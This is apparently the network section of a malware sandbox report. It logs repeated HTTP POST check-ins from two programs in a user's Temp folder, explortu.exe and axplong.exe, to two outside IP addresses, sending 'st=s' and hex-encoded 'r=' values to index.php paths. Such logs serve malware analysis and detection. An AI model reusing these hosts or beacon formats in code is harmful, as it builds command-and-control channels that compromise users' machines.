Jun 20, 2024 15:39:10.371174097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:10.372158051 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:10.595254898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49880	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:10.007663012 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:10.678467989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49882	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:10.687230110 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:11.378829956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49883	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:10.709943056 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:11.431677103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:11.432674885 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:11.654778004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	49886	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:11.495834112 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:12.164827108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49887	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:11.789375067 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:12.475450039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:12.476522923 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:12.692946911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49889	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:12.173283100 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:12.847378016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	49890	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:12.801728964 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:13.478501081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:13.479449034 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:13.692245007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49891	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:12.960469961 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:13.655498981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49892	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:13.664020061 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:14.335232973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49893	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:13.805001020 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:14.492686033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:14.493643999 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:14.715553045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	49894	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:14.449068069 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:15.143953085 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	49895	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:14.838602066 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:15.552433014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:15.553266048 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:15.772133112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	49896	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:15.154171944 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:15.835992098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	49897	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:15.896508932 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:16.575156927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 20, 2024 15:39:16.576268911 CEST	306	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jun 20, 2024 15:39:16.790740967 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49898	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:15.963449001 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:16.650965929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49899	147.45.47.155	80	2892	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:16.660047054 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 20, 2024 15:39:17.332201004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49900	77.91.77.81	80	7592	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 20, 2024 15:39:16.912225962 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 20, 2024 15:39:17.591213942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 20 Jun 2024 13:39:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
